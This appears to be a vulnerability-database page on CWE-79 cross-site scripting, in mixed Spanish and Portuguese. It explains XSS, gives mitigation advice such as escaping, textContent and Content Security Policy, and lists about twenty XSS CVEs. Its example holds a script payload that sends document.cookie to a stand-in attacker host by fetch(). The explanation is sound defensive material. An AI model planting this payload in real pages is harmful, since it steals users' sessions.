Fallos del tipo CWE-79

29.155 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-31832MEDIUMCross site scripting vulnerability in DLP Endpoint for WindowsEPSS 0.5%CVE-2024-26087MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2019-18571MEDIUMThe RSA Identity Governance and Lifecycle and RSA Via Lifecycle and Governance products prior to 7.1.1 P03 contain a reflected cross-site scEPSS 0.5%CVE-2023-2102MEDIUMCross-site Scripting (XSS) - Stored in alextselegidis/easyappointmentsEPSS 0.5%CVE-2026-53987HIGHGLPI 11 before 2.14.4 Tag Plugin Stored Cross-Site Scripting in Kanban Badge RenderingEPSS 0.5%CVE-2024-26122MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2022-42200MEDIUMSimple Exam Reviewer Management System v1.0 is vulnerable to Stored Cross Site Scripting (XSS) via the Exam List.EPSS 0.5%CVE-2023-5335MEDIUMBuzzsprout Podcasting <= 1.8.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2025-2210MEDIUMaitangbao springboot-manager add cross site scriptingEPSS 0.5%CVE-2025-2211MEDIUMaitangbao springboot-manager add cross site scriptingEPSS 0.5%CVE-2022-4960LOWcloudfavorites favorites-web Nickname cross site scriptingEPSS 0.5%CVE-2024-28190MEDIUMContao core bundle vulnerable to cross site scripting in the file managerEPSS 0.5%CVE-2022-44284MEDIUMDinstar FXO Analog VoIP Gateway DAG2000-16O is vulnerable to Cross Site Scripting (XSS).EPSS 0.5%CVE-2024-0500LOWSourceCodester House Rental Management System Manage Tenant Details cross site scriptingEPSS 0.5%CVE-2024-36162MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2023-22921HIGHA cross-site scripting (XSS) vulnerability in the Zyxel NBG-418N v2 firmware versions prior to V1.00(AARP.14)C0 could allow a remote authentEPSS 0.5%CVE-2024-2765MEDIUMUltimate Member <= 2.8.4 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-6740MEDIUMOpenfind Mail2000 - Stored XSSEPSS 0.5%CVE-2023-33231MEDIUMXSS in SolarWinds Database Performance Analyzer 2023.2EPSS 0.5%CVE-2025-46096MEDIUMDirectory Traversal vulnerability in solon v.3.1.2 allows a remote attacker to conduct XSS attacks via the solon-faas-luffy componentEPSS 0.5%